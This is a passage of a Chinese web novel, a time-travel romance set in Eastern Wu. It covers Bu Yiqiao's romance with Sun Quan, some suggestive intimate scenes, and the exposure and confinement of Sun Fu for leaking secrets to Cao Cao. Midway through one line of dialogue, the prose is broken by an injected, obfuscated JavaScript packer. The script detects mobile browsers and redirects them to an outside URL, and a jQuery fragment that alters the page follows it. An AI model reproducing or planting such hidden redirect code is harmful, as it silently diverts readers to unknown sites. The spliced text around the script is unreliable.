“其一,你连自己保护不好,如何保护乔夫人?其二,自家夫人,没有住别家的道理。况且,你这哪儿算痊愈?纱布未拆,汤药未断,每日还需换药。这般模样住到别人府上,到底是你在照顾别人,还是要劳烦周府上下照顾你?” 他微微俯身,与她视线平齐。 “而且离了你,我夜里睡不安稳。” 步一乔抿紧唇,第一反应是去看一旁默不作声专心看戏的周瑜。对上视线,周瑜立即识趣地挪开目光,专注地研究起墙上的舆图。 “此事我与都督已商量出决策,你先顾好自己的安危。” “我——罢了,此事我们之后再谈。”步一乔急忙转移话题,“眼下还有更重要的事要与诸位商议。可否请张昭先生一同前来?商谈曹魏——” 话说到一半,她忽然想起曾经询问孙策致使自己深陷怀疑的往事,心底泛起不安,不敢再说下去。 “去请先生即刻前来。”孙权对卫兵吩咐道。 卫兵领命后,转身离开。 步一乔望着神色如常的孙权,迟疑着开口:“你……不怀疑我?” “为何要疑?” “这是军机要事,这里议事厅,我一介妇人……” “有道理。”孙权颔首沉吟,“席间确实没有你的位置。” 他停顿片刻,在步一乔眼神黯淡下去的瞬间,自然地握住她的手。 “既如此,你坐在我身侧吧。” 步一乔倏地仰头,眼中满是诧异。 “你到底……听懂我说的话了吗?” “与妇人无关,你既主动请缨,且知我孙权用人,从不因身份见疑,只问才识高低。待先生来之前,让侍女先替你换药。” “嗯……” 步一乔此刻已不再思虑进谏之事,反而恍然:若真嫁给孙权,自己大约成不了“妻管严”。 似乎,也无此必要。 * 侍女便端着盛有伤药与洁净纱布的漆盘,低眉敛目地走了进来。 步一乔看了一眼托盘,又抬眼望向身前的孙权,目光微转,对侍女柔声道:“有劳,先将东西放在案上吧。” 随即,她视线转向一旁看似专心研究舆图的周瑜。 “先生到此大概有些时候,都督何不暂且回家,看看乔夫人如何?” 周瑜闻言,唇角弯起一丝了然的笑意,转过身来:“姑娘想支走我,何需另寻借口?” 步一乔也干脆,顺着他的话点头:“也是,那麻烦你出去吧,一会儿再来。” 周瑜轻笑出声,袖袍微拂,朝孙权略一颔首:“还是同你这样讲话来得习惯。”说罢,便悠然转身,与侍女一同退了出去,还顺手将门轻轻掩上。 木门合拢,隔绝了外界。 步一乔转回目光,重新对上孙权的眼眸。他依旧维持着方才的姿势,离她很近,静静地等着她开口。 “主公会换药吗?” “当然。” 说罢,孙权自然地开始替步一乔换药。他的动作并不生疏,解开旧纱布时,尽量避免牵动她的伤处。 步一乔看着他专注的侧脸,低声道:“我毕竟是外人,不好开口。此事先与你说明,待会儿张昭先生来了,由你告知二位。” 孙权颔首,手上动作不停,涂抹上药膏,再用干净的纱布重新缠绕,示意她继续。 “此前你亲赴丹阳和会稽,所为何事?”步一乔问。 “事先布局的战略走漏了风声,被曹操知晓。我只得亲自前往,重新调整部署。” “找到了泄露情报的人了么?” “尚未。”孙权系好纱布,抬眸望向她,“你知道?” “嗯。但我没有实证。也不能仅凭我一面之词,就断定此人罪名。” “是谁?” “你堂兄,孙辅。” 孙权收整桌案的手一顿。 步一乔继续道:“强掠乔夫人一事,估计也是孙辅告知曹操后,安插在江东的细作所为。此前在大街上,我听出那人是北方口音,故而断定是曹操的人。” 不过最主要的是有史可鉴。 “最重要的是,孙辅向来认为你保守不足进取,难以抗衡曹操。他暗中联络北方,已非一日之念。” 她稍作停顿,观察着孙权晦暗不明的神色。 “曹操知晓周瑜就这一位夫人,不好从周瑜下手,便选了小乔。以下只是我的猜测,他是想将你身边的几位梁柱,一个一个击垮。” 孙权缓缓直起身。他没有震怒,没有质疑,只是看着步一乔。 “害你之人呢?” “别岔开话题,我在说曹操——” “别插话,”孙权声音沉了下去,“害你的人呢?也是孙辅吗?” “……不是。” “那是谁?” “我不知道。” “你说谎。” “我……没有说谎。” “又说谎了。” “……” 步一乔偷偷看了眼孙权的脸色,严肃到无法直视。 “那人是被逼无辜,我不能告诉你是谁。” “他几乎害你丧命,你还替他求情?” “若不是被威胁,他怎可能做这等事!” “他若真有难,为何不来寻我!” “正是因为寻你才更危险啊!你现在是主公,是江东之主!与你一举一动一言一行,都有千万双眼睛盯着,他怎么说?怎么说才能不连累更多人?” 孙权沉默了。看着步一乔微红的眼眶,怒意消褪一半,拂开她激动到散落额前的一缕碎发。 “又激动,身子不疼吗?” “……疼。” 这个字轻轻落下,不再是刚才那般剑拔弩张的模样。 “既然疼,就少操些心。”孙权心疼地曲指刮去她眼角的泪花,“孙辅之事,我会与先生讲。搜集到证据后,与孙辅谈话。至于那个伤你之人……你既执意相护,我可以暂不追究。” 步一乔惊讶地抬眼,“真的?” “迄今为止,我何事没依你?” “……似乎没有。” * 周瑜与张昭须臾便至。 步入议事厅,张昭见步一乔与孙权并肩而坐,眼中闪过一丝讶异,却未多言,只是向诸位行礼,而后落座。 “今日请二位前来,是为军情屡次泄露之事。”孙权开门见山。 张昭抚须:“主公已锁定泄密之人?” “心中虽有猜测,然证据不足,不敢妄断。需设局引蛇出洞,愿闻二位高见。” 周瑜沉吟片刻,目光转向始终静默的步一乔:“瑜愿先听步姑娘见解。” 步一乔本欲缄默至终,闻此言心下暗叹,果然逃不过周瑜这一着。 “一介妇人,列席已属逾矩,不敢妄议军机。” 张昭却温声道:“步姑娘过谦了。前番解围之策,足见智略。老朽亦愿闻其详。” “既蒙二位不弃,一乔便冒昧直言。” “此人不是喜欢传递情报嘛,那便制造一个他无法拒绝的、必须立刻传递的假情报。” 步一乔话音落下,厅内陷入片刻沉寂。 次日。 孙权在仅有几位核心重臣,包括张昭、周瑜、孙辅等参加的会议上,宣布了一个“绝密计划”:五日后,他将以祭拜亡兄为名,只带少量护卫,避免打草惊蛇,秘密前往北山祭拜孙策。 话音方落,周瑜适时蹙眉:“主公,北山地处偏僻,护卫过简恐生不测。” “正因偏僻,才不易惊动各方。”孙权目光扫过在场众人,“此事关乎江东安稳,望诸君慎密。” 孙辅垂首不语,神色不屑。 堂后竹帘,步一乔偷摸至此静坐阴影中,将众人神色尽收眼底。 “这个孙辅……他不是你堂兄弟吗?至于这么讨厌吗?” 年轻继位的孙权刚坐上位置上,承受最多的便是冷言嘲讽。若不是步一乔身份不便,真想上去就给他两耳刮子,逼他说些阿谀奉承的话。 “似乎用错词了?罢了,反正他也时日不多了。” “一个人说什么呢?” “啊!” 孙权悄无声息潜伏到自己身后,单膝蹲身,突然出声吓了步一乔大跳。何时散会的?她竟沉浸在思绪中毫无察觉。 “不许吓我!” “抱歉。”他眼底却并无歉意,反而狡黠着逼近,“不过……步姑娘竟敢偷听主公议事,胆子不小?这可是杀头的罪过。” “主公是要治我的罪?” “当然要治。”孙权又向前逼近半步,低沉的嗓音里带着危险的诱惑。 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“那一刻我在想,若我晚一步……或者,没能发现你……” 孙权没再说下去,捧住步一乔的脸,抵着她额头,呼吸相闻。 “甚至已经想好后事,随你而去了。” “你……” 议事厅的竹帘后,被分割出的狭小空间,成了独属于他们的秘密天地。外间偶尔传来侍从远去的脚步声,模模糊糊,不及与眼前人唇齿在自己耳后留下痕迹时发出的黏腻。 “怕被人看见吗?” 步一乔仰着头意识恍惚着,“啊?不、不怕” “嗯。” 孙权的唇若即若离地擦过她的额角,沿着鼻梁向下,在即将触到唇瓣时停住。悬而未决的吻比任何的触碰更让人着急。 “你倒是亲下去啊……” “想你亲我。” 心痒难耐的步一乔直起身子吻上他的唇。 孙权扶着她的腰慢慢倒下,竹帘后地方不大,步一乔不敢轻举妄动,生怕动作一大,拨弄竹帘发出声响引人注目。 在即将触地刹那,孙权的手稳稳护住她后脑,另一手仍紧扣她腰际。这个吻从她主动的触碰,渐渐变成他缠绵的索取。 腰间的系带松散,厚重的冬衣垫在身下倒是刚好合适。议事厅内的火炉温暖,加之眼下做些什么,热得人覆身汗。 竹帘外传来渐近的脚步声。 “主公?” 是张昭的声音。 步一乔浑身一僵,下意识要后退,却被孙权揽住腰肢,更深地按进怀中。他在她唇上流连片刻,这才缓缓分开。 “不是不怕吗?” 步一乔此刻哪敢答话,只得咬紧嘴唇,连呼吸都屏住了,全神贯注地倾听着帘外的动静。 见她担惊受怕的样子,孙权无声轻笑,非但没有停下,反而加深了这个吻,直到她快要喘不过气。 帘外的脚步声停驻片刻。 “奇怪,没看见他出去啊……” 张昭自言自语着,身影在竹帘上投下模糊的轮廓,似乎就在咫尺之遥。 步一乔紧张全身发颤,偏偏孙权变本加厉,还在她唇上流连,温热的掌心绕至她的后背,抬起她的腰贴近自己。 “唔——” 动作突如其来,步一乔更害怕,抓紧孙权的侧颈,无意间留下几道红痕。她被迫后仰着头,承受着愈发深入的吻,连脚趾都不自觉地蜷缩起来。落在他身侧的腿不自觉地弯曲,想要蜷缩着身子。 唇瓣被吻得微微肿胀,热乎乎的,舌尖来来回回的渐渐发酸。 步一乔内心反复叫嚣着,她甚至能听见张昭衣料摩擦的细微声响,仿佛下一秒帘子就会被掀开。 先生快走啊……快离开啊…… 终于,脚步声缓缓远去。直到确认张昭走远,孙权才稍稍松开她,眼底带着得逞的笑意。 “现在害怕了?” 步一乔急促地喘息着,眼角还带着未散的水光。孙权抚过她红肿的唇瓣,声音里带着未尽的情欲。 “坏人……” “什么?”声音沙哑低沉,孙权没能听清。 步一乔咬紧牙,用无伤的一只手猛地掀开孙权,怕力道不够手脚并用,竟真将猝不及防的孙权掀翻在地。她顺势跨坐上去,将他反压在下,青丝垂落间,眸光潋滟。 “孙仲谋,这好像不是第一次了?”她指尖戳着他胸口,“你似乎……格外钟情这等危险刺激的游戏?” 孙权非但不恼,反而低笑出声,抬手将她的发丝拨至身后,掌心抚住腰,生怕她后仰过去摔着。 “那你呢?可喜欢?” “喜欢你——”步一乔猛地住口,下意识瞥向竹帘之外。 议事厅内空无一人,烛火温然,静默无声。 “呵。” 步一乔轻笑,垂眸睨着貌似听候发落的孙仲谋。 “喜欢,当然喜欢。和你一起,做什么,在哪儿做,我都喜欢。” 55. 月沐寒酥 步一乔指尖刚触到他的衣襟,便被孙权反手扣住手腕。 “姑娘想做什么?” “欺男霸女!”她理直气壮,“不对,没有女,只有欺男。” 孙权轻笑,抱着她利落翻身,将她压至身下。方才跨坐他腿上的那点优势荡然无存,反倒彻底受制于人。 步一乔还要挣扎,却被他单手擒住健全的那只手腕,牢牢按在头顶。 “放开我!”她扭动腰,却被他以腿压制,动弹不得。 “别太用力,小心弄疼伤口。” “你还知道我有伤!那还不松开!” “我这是保全自己。某位……月老兼刺奸太过狡猾,不防不行啊。” “到底是谁狡猾!年轻人欺负老年人!” 孙权歪了歪头,眼底漾开笑意:“两岁的差距,姐姐这是要给自己升一个辈分?” “对!平辈压不住你,那就长辈!何止两岁,我大你两千岁呢!” 孙权更懵了,“这两千,从何算起?再说,不该是我大你两千岁才对?” “你……你……不许反驳我!!” 孙权空着的手探入水面,抚过时激起涟漪。他俯身咬住,步一乔平生第一次感受此痛,脱口而出的是无法轻易停下地抽搐。 “疼吗?不是疼吧。”他指尖抵在她唇上,唇底暗潮汹涌,“轻点,真不知道疼?” 这就是恶人先告状吗?!分明是他在—— 步一乔恼羞到内心语无伦次。 “疼……可疼了……你……别碰……” “我没碰啊,你看。” 步一乔看见孙权举起两只手,确实没碰。确实此刻没碰,又被这人带偏了思路。 恼羞成怒的步一乔屈膝抬脚踹向他屁股,却被孙权早有预料地扣住大腿后侧。他俯身压下,松开钳制,转而轻轻托起她的后腰。失去支撑的瞬间,她本能地攀住他的肩膀。 灼热的吻再次袭来,破碎不成音,软烂成稀泥,摇摇晃晃。 “主公!” 门外突然传来近卫急促的叩门声,两人动作瞬间僵住。 “不是吧……又来!” 步一乔拼了命要挣脱,却被孙权禁锢在怀中,不许她抽身。 “就在门外禀报。”他声音犹带喘息,却已恢复了平日的威严。 “孙贲大人请您过去一趟,有事商议。” “随后就到。” 直到近卫走远,步一乔也没能挣脱成功。孙权抱着她起身,顺手捞过步一乔的衣裳给人裹上。步一乔跨坐在他腿上,手忙脚乱地系着衣带,脸上红晕未褪。 “生气了!接下来一周,不对,一月!一年!你都不许再碰我!” 孙权笑着夺过她手中半晌系不上的带子,替她一一系好、整理好。 “这恐怕不行。”他系完最后一个结,双手顺势扶在她腰间,“你我有约在先,婚期在即,总不能洞房花烛也不放人碰吧?” “谁要跟你成亲啊!给我一笔钱,我要搬出去自己生活!” “江东六郡皆是我的地盘,我不许,你能找到落脚点?” 孙权伸长手臂,将步一乔往怀里带了带,仰头看着她一脸娇嗔的样子,心都被软萌化了。 “是谁说,夜里离了我睡不安稳?” “是你。” “嗯,是我。所以,别丢我一个人。” 孙权仰头在她唇上轻啄一下。步一乔瞪着他含笑的眼眸,终是败下阵来。 “……快去吧,主公该去处理正事了。” “不跟去‘偷听’了?” “你堂兄叫你,我去干嘛?” “没从这名字想起什么?” “什么?”步一乔看着孙权的眼睛,心中渐明,“啊!孙贲!孙辅的亲哥哥!” “这些年来,孙贲多次劝他安心辅佐于我,兄弟二人为此屡生龃龉。”孙权微微颔首,“此时特意来寻,想必与近日异动有关。” “要去要去!你别光着了,快穿衣裳!速速出发!” * 步一乔从回廊悄步绕至书房后门,推开一道不易察觉的暗隙。侧身而入,隐于厚实宽大的屏风之后。 几乎同时,前厅传来脚步声,孙权与孙贲一前一后步入书房。 “主公。” 是孙贲的声音,听上去老练,从小带娃的原因吗。 步一乔跪坐下,专心“偷听”。 孙贲孙辅,孙坚长兄之子。 孙坚去世时,孙策年仅十七,无法立刻接手军队,于是部分孙家部众由孙贲统领。待孙权继位,孙贲亦尽心辅佐,从无二心。而其弟孙辅,尚在襁褓便父母双亡,全赖年长五岁的兄长一手带大,兄弟之情,深逾常人。 “堂兄不必多礼,坐。”孙权语气平和,“此时前来,想必有要事。” 短暂沉默后,孙贲似是下定了决心,开口道:“近日军情屡次泄露,动摇我江东根本……不知主公,可曾查到幕后之人?” 孙权执起茶壶,为孙贲斟了一杯。 “已有头目,”他放下茶壶,“眼下只差证据,便可将细作绳之以法。对此,我想听听堂兄的看法,如何处置更为妥当。” 孙贲的手指在膝上蜷紧。他忽然离席,单膝跪地抱拳埋首。 “罪臣……恳请主公网开一面!是臣……管教无方,致使劣弟犯下如此滔天大错!证据,臣已带来,只求主公……饶他性命!” 步一乔在屏风后震惊。如此直接地坦白?那不是他含辛茹苦养大的亲弟弟吗?竟不先设法周旋,或是寻个替罪羊?难道不怕孙权一怒之下,祸及全族? 孙权上前,稳稳托住孙贲的手臂。 “堂兄请起,此处并无外人。就当兄弟之间寻常谈话。” 孙贲从怀中取出一封密函呈上,道:“三日前,臣在他枕匣暗格中发现此物。其上所列布防细节,与近日泄露的军报分毫不差。” 孙权展开密函,与自己前日布局时说的话一次不差。 “为何不及时送去给曹操?” “想必……与近日出的事有关。” “哦?”孙权抬眸,“何事?” “有人密信于他,声称已搜集全他与曹操暗中联络的所有证据。臣起初以为是胁迫招供,没曾想……那人竟是来帮他的。” “帮?如何帮?” “信中附了一张看不懂的诡秘图画,说是天降神谕,预示将有更为重要的情报出现,让他今日务必按兵不动,静待其时。” 孙权嗤笑,“于是他信以为真,便将这密函藏于家中?” “是。” “堂兄可知,”孙权将密函轻轻按在案上,“若将此物呈交张昭先生,便是铁证如山。不止是孙辅,他身边的一众近臣都将受到牵连。连堂兄你……也可能牵扯其中。但我深知堂兄与此事无关,会与众臣说明。” 孙贲再度跪倒,额头重重磕在地砖上:“主公清明!但……毕竟是我孙贲一手带大的弟弟,不愿看他寿终于此。臣愿交还兵符,携劣弟远遁交州,永世不入江东!” 孙权俯身,第二次将他扶起,道:“骨肉至亲,何至于此。我并非刻薄寡恩之人。他的命,我会留着。堂兄也不必过分自责。” 稍作停顿,他继续道:“我会将他圈禁府中。至于那些与曹操暗通款曲之人……一个不留。” “主公……”孙贲感恩戴德地望着孙权,哽咽到说不出话。 想起什么,孙权忽地轻笑道:“若真动了杀手,回头少不得又要听一番念叨。” 孙贲怔忡:“主公是指……老夫人?” 孙权摇头,“是我夫人。” “主公终于要娶妻纳妾了吗!”孙贲发自内心地高兴,“贺喜主公!” 孙权笑道:“纳妾不必,娶妻一人足矣。” 步一乔抬手捂着滚烫的脸颊,心跳动得厉害。直到前厅传来开门关门的声音,她抬眼望去,对上绕至屏风后寻她来的孙权。 “油嘴滑舌……”她低声嗔道,“我还不是你夫人呢!” “总会是的,”孙权笑着拉她起身,“步夫人。” “步……步夫人。” 如同拨云见日、茅塞顿开,步一乔突然意识到她穿越替代的,或许从来不是大乔。大概率从一开始,替代的便是—— “步练师。” “步练师?是谁?” “是……”步一乔眼神飘向别处,“是某位江东之主,日后的吴大帝,此生最爱的女人。他在位时始终未立皇后,直到步练师逝去,才追封她为后” “这样啊。”孙权一脸坦然,“没听说过。” “你整天忙着军政大事,当然不知道!”步一乔来了兴致,说得眉飞色舞,“人家步姑娘可是才貌双全,在江东很有名的。史书上说,孙权一听说她的名声,当即请到府中相见,然后一见倾心就把人给——” 一时口快,步一乔唠唠叨叨把史书上的记载复述一遍,后知后觉自己正在跟孙权议论孙权。 “我……不是说你现在!”她慌忙找补。 孙权忍俊不禁:“原来后世是这么写我的。” 见他没生气,步一乔又放松下来,继续唠唠叨叨:“古代嘛,三妻四妾很正常,更何况孙权还是个君主,肯定妻妾成群嘛。” “那史书有没有写,孙权为了某个爱吃醋的姑娘,把纳妾的念头全都打消了?” 步一乔瞬间脸红:“谁、谁爱吃醋了!我一口没尝过!” “不知啊。”孙权故作沉思状,“可能就是某个整天忙着破案助人,还特别爱给未来夫君安排妻妾的步夫人?” “你!再占我便宜,我就——”步一乔气鼓鼓地瞪他,却被孙权一把搂住。 “一乔,山野那场梦,还记得吗?” “……模模糊糊。” “当时你说,只肯一夫一妻,我若想娶你,这辈子就只能娶你。” 步一乔怔怔地望着孙权。 “那是……什么……我说过这样的话?你记性太好了吧。” “你说的每一句话我都记得。” 步一乔被他这句话说得心头一甜,却还是故作贤者,戳了戳他的脸颊。 “说得轻巧,你现在可是江东之主,顾全大局啊主公。” 孙权握住她作乱的手指,“为何你这话我听上去奇奇怪怪?这是要我……多多纳妾?” “我这是深明大义!”步一乔强忍着笑意,板起脸来,“你看啊,跟世家联姻可以巩固势力,跟诸侯结亲可以化解干戈,多划算的买卖。” 孙权若有所思地点头:“说得有理。那依你之见,该先纳哪家千金?” 步一乔没想到他接得这么顺,一时语塞:“比如……比如陆家小姐?” “陆绩年幼,尚无姐妹。” “那朱家?” “朱然已有婚约。” 步一乔气鼓鼓地抽回手:“你倒是调查得清楚嘛!” 孙权将她重新揽入怀中,低笑道:“既然夫人这般为我着想,不如这样,明日我就下令,凡是献美者,皆须经过夫人亲自甄选。容貌不及夫人者不要,才学不及夫人者不要,性情不及夫人者更不要。” “你这哪是选美,分明是刁难人!” “所以啊,”孙权轻轻捏捏她的耳垂,“有你在,我还要什么妾室?光是应付你这个小醋坛子就够我忙的了。” “谁是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701067|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小醋坛子了!都说我一口醋都没尝过!” 步一乔羞得要去拧他,却被他笑着躲开。孙权弯下腰,抱着步一乔的腿将人拔地而起,走出书房。步一乔惊呼一声,抱住他的脑袋稳住。 “喂喂喂!你做什么!” “天色已晚,今日公务处理完毕,与夫人回房歇息。” “不许再叫我夫人!再叫我就——” “就要唤我夫君了?”孙权将她往上托了托,仰头看她气鼓鼓的模样。 步一乔羞得说不出话,咬牙切齿低吼道:“孙、仲、谋!不许逗我玩儿!” 廊下的侍卫侍女纷纷低头抿嘴,假装没看见孙权抱着步姑娘从书房出来。仍是那条回廊,仍是那两个人,这一次却终于能光明正大地相携而行。 “一乔,答应我吧,我想千秋万代后,史书上记载孙仲谋此生最爱的女子,是你。” * 次日。 孙权回到府中时,天色已近黄昏。张昭静默地跟在半步之后。 “临近年末,先生今年可有什么新的感悟?”孙权忽然驻足,望着庭院中一株开得正盛的红梅。 张昭随之视线望去,道:“跌宕起伏的一年,也是老臣亲眼见证主公,从英气少年成长为万军统帅的一年。” 孙权轻笑一声,“时候到了,去请孙辅过来。” 待卫兵领命离去,张昭看向孙权沉静的侧脸,终是问出心中疑惑:“在处置此事之前,老臣有一事不解。步姑娘身份微妙、来历不明,为何主公对她却毫无芥蒂,全然信任?” 孙权伸手轻触梅枝,积雪簌簌落下。 “因为我了解她,比任何人都了解。谁都可能背叛江东,唯独她不会。” “不是背叛主公,而是江东?”张昭甚是疑惑,“步姑娘确实聪明,与寻常女子截然不同,可主公与她不过相识一月有余,为何如此断然?” “岂止一月。有些人只需一眼,便知是故人归来。” 孙权收回手,目光像落在很远的地方。 “总觉得与她的相遇,在更早以前。” 不是山野,而是更早。 所以建安七年的“初见”,才会对她产生奇异。不过初遇,便想与她更进一步,相识相亲。 不过一盏茶的工夫,孙辅便到了。他穿着常服,腰间却仍佩着剑,进门时习惯性地扫视四周。孙权正与张昭对弈,恰好将军,孙权胜。 “堂兄来了。” “主公召见,不知有何要事?” “兄弟之间不愉快说出来,为什么要叫外人来呢?” 孙辅看向孙权,又瞥向一旁垂目不语的张昭,矢口否认:“绝无此事!何人竟敢在主公面前构陷于我?此乃离间我兄弟之情,祸乱我江东根基!” 孙权没有说话,甚至没有看孙辅。 张昭从怀中取出密函,展开放置在孙辅面前。 孙辅脸上的激愤瞬间褪去,化为一片死灰。他死死盯着那些密函,宛若看到了自己的死刑判决。 “这字迹,是堂兄亲笔所写吧?” 孙辅终于跪倒在地,伏首不语。 孙权望着窗外沉沉夜色,“我记得,小时候犯错,父亲总说,孙家儿郎,宁可站着死,不能跪着生。兄长今日这一跪,跪的不是我,是孙氏的列祖列宗,以及数以千计为霸业牺牲的将士。” 他转身对张昭道:“先生,拟令吧。” 命令很快颁布:孙辅近臣尽诛,部曲解散,本人迁往东郡幽禁。 门外,步一乔站在廊下,听完了史书上寥寥几笔的故事。闻见脚步声,她抬眼,与匆忙赶往的孙贲照面。 “将军何事如此着急?” 孙贲多少听过步一乔的事,也知晓孙权对其颇为宠爱,昨日他口中的夫人,想必正是眼前的女子。 “听闻舍弟被主公召见,特来探看。” “处置结果,主公昨日不是告诉将军了?” 步一乔看着孙贲脸上的神情,似有所感。 “莫非……将军是忧心令弟远徙东郡,山长水阔,放心不下?” 心事被一语道破,孙贲深知此刻硬闯书房求情亦是徒劳。或许……眼前之人是唯一的转机。若她肯出言,或许主公能网开一面,即便不能赦免,能将弟弟拘禁于自己看顾之下,也好过流放千里。 “姑娘明鉴,可否愿替贲向主公进言?” “是想求主公将孙辅的幽禁之地,改在豫章么?” “……正是。” 孙贲时任豫章太守,若此事能成,他既可亲自监管弟弟,免其远窜东郡受苦,全了他最后一点兄长的私心。 “将军会不会太溺爱孙辅了?”步一乔揶揄道,“您护了他大半生,为江东基业出生入死,他却做出这等背弃之事。事到如今,您仍要为他求情,连这点应有的苦楚,都舍不得让他受么?” “姑娘说得是。为将者当以军法为重,为兄者……” 孙贲攥紧拳,比起责怪孙辅,更多是自责。怪自己,没将弟弟看好,才酿下今日的错。 “我这个兄长,做得实在失败。不如伯符,深感惭愧。” 他转身席地而坐,拉长叹息。 “父母去得早,他尚在襁褓便由我一手带大。离了他,我心不安。走南闯北,也始终带在身边……这样的弟弟,叫我如何能眼睁睁看他去那苦寒之地自生自灭?” 步一乔早知孙贲兄弟情深,原以为大抵如同孙策与孙权那般。如今亲耳听闻,才觉出其中微妙的不同。 她不禁偷笑挑眉,似是窥见了什么极有趣的秘密。在孙贲身侧,学着他盘腿而坐。 “孙贲将军,您与令弟……当真只是普通的兄弟情谊吧?” 56. 苦雪烹茶 从不看狗血话本的步一乔,却有个特殊癖好:酷爱“骨科”轶事。此刻看着为弟忧心的孙贲,思绪便不由自主地朝那方向飘去。 她曾与挚友盘点过“三国三大骨科”:诸葛瑾与诸葛亮、司马师与司马昭,以及……孙策与孙权。只是后来她成了孙策的“梦女”,才忍痛将最后一对从清单划去。如今想来,命运也真是奇妙,她竟会和孙权走到今天这步。 想到要亲自听“骨科”轶事,步一乔索性撩起衣摆,学着孙贲的样子在他身侧盘腿坐下。 “孙贲将军,您与令弟……当真只是普通的兄弟情谊吧?” 孙贲看着身旁露出揣摩不透的笑脸的姑娘,虽觉狐疑,仍郑重答道:“舍弟乃我此生,除江东基业外,拼死也要守护之人。” “呜呼~~”步一乔笑得像个反派,又迅速敛容正色,“主公也非事事听我的,但既然将军开口,我必当尽力。” “多谢姑娘!不,步夫人!” “别别别,没成亲呢,使不得。” “主公既已认定,便是迟早的事。日后夫人若有差遣,贲,万死不辞!” “那便多谢将军了!”步一乔面上答得恳切,内心已在雀跃:既然如此,我可就不客气地将你二人写入“骨科”话本,供后人细细品鉴啦! 两人交谈之地就在门外,说了许多,免不了被屋内的人发现。听闻一声轻咳,席地而坐的两人同时回头,对上从屋内走出的三道视线。 孙贲立刻起身,恭敬行礼:“主公!先生!” 孙权微微颔首,看向仍坐于地上、嘴角来不及完全收敛的狡黠笑意的步一乔身上。见她与孙贲挨得这般近,谈笑风生,一股莫名的酸意便从心底冒泡,滋味难言。 他缓步上前,向她伸出手,强行温柔道:“夜里凉,何不在房中歇息?” 步一乔却全然未觉酸意,就着他的手利落站起。她脑中正盘旋着孙贲“拼死守护”的兄弟誓言,只觉得灵感迸发,此事必须趁热打铁。 “在下有一事相求!求主公成全!”她抽回手,抱拳道。 孙权伸出的手尚未收回,稍稍顿住,面色不改,声音却沉下几分:“何事?” “听闻孙辅将军因私通曹氏将受严惩。一乔斗胆,恳请主公念在骨肉情深,将他幽禁于豫章郡。”步一乔稍作停顿,悄悄抬眼观察孙权神色,“如此既全法度,亦全孙贲将军手足之情。” 孙贲垂首立在原地,冷汗已浸湿后背。连侍立在侧的张昭与待罪的孙辅,都惊愕地视线在两人之间来回逡巡。 张昭见孙权神色冷静得骇人,心道不妙,上前一步圆场:“主公操劳一日,也该歇下了。此事就交老臣——” “你何时与伯阳兄如此投缘,竟连他家事都这般挂心?”孙权倏然打断,“这次又是为何?” “孙贲将军爱弟之心,感天动地,令人动容。我帮他,是敬他这份情义,更是——” 她语速极快,却倏然截住。步一乔转了转眼珠子,不顾旁边三人目光,手指探入孙权袖摆,精准捏住他的指尖。 “若被流放千里之外的是我,你会舍得吗?” “……两件事无法相提并论。” “能的!”见孙权态度有所松动,步一乔乘胜追击道,“皆是至亲挚爱之人,你舍不得我,难道孙贲将军就舍得弟弟吗?” 孙权袖中的手指被她牢牢勾住,掌心传来她指尖细微的搔刮。她仰着脸,一双眸子沉着盈盈水波,楚楚可怜地仰望着他。 “孙权~~我知道你于心不忍,毕竟是兄弟,这法子并无不妥啊。” 他垂眸看着她的模样,分明是刻意装出来的,却偏偏让他硬不起心肠。 “你连我这样来历不明的人都敢留在身边,还怕一个被夺了兵权、圈禁起来的堂兄吗?” “再说话,我连你一起幽禁。” 步一乔刹那间冻结。当着外人的面,他竟真半分颜面都不给!她越想越气,甩开他的手,力道之大,险些带倒自己。 “罢了!你是主公,你说了算。” 说罢,也不看孙权沉下的脸色,转身便朝孙贲深深一礼,愧怍道:“孙将军,对不住,是我人微言轻,没能帮上忙。” “步姑娘切莫如此!”孙贲惊得连忙虚扶,冷汗涔涔,“是舍弟罪有应得,姑娘仗义执言,贲已感激不尽!” “将军……”步一乔眼圈微红,捏着袖口拭了拭并不存在的泪,“您这般宽厚,更叫一乔无地自容了……待他日我若在吴郡待不下去,流落豫章,还望将军念在今日情分,怜我孤苦,给个容身之处。” “这……”孙贲下意识看向身旁面色尤为难看的孙权,不敢再多说半字。 步一乔却仿佛毫无所觉,依旧用泫然欲泣的眼神望着孙贲。火上浇油的姿态,终于让一直沉默的孙权有了动作。 “伯阳兄。” “臣在!” “孙辅之事,依军法论处,不容姑息。然,念其昔日之功,及你拳拳之心,死罪可免。即日起,夺其一切兵权,幽禁于豫章郡府,非诏不得出。你,亲自押送。” 这已是网开一面。孙贲立刻拜谢:“臣……谢主公恩典!臣定当严加看管,不使其再生事端!” “回去歇息吧。”孙权目光终于落回步一乔身上。 孙贲如蒙大赦,拉上弟弟的手,几乎是逃也似的退了出去。张昭也一同迅速离开这是非之地。廊下顷刻间只剩下两人。 步一乔也渐渐有些装不下去,她刚想开口说点什么挽回一下局面,却见孙权朝她靠近。 心生诡计,步一乔索性抢先行动,利落地一个转身,抬步就走,正正擦过孙权的臂膀。 “去哪儿?” “夜深了,自然是回房歇息。主公也早些回自己的厢房安寝吧。” 她刻意加重“自己的”三个字。 然而,没等她走出几步,手腕便被孙权攥住。 孙权稍一用力,便将她轻轻拽了回来。步一乔猝不及防,转身时差点撞进他怀里,慌忙间抬头,正对上他低垂的视线。 “利用完了我,便想一走了之?” “主公这话从何说起?孙辅之事,您依法裁决,英明神武,与我何干?我不过是……恰巧路过,说了几句公道话。” “公道话?那番要去豫章的‘公道话’,也是说与我听的?” 步一乔语塞,眼神开始飘忽。 见她如此,孙权自知她是无心之言,自己原本也打算若孙贲来求情,应了便是。 “走吧,”他牵上她的手,转向厢房方向,“我送你回去。” “送我?你还有要事要办?” “嗯,得办,顺便撒气,叫你欺负我。” 步一乔先是愣住,随即发自内心地笑出声来,任由他牵着手,指尖在他掌心挠了挠。 “孙权!讲讲道理,到底是谁欺负谁啊!” * 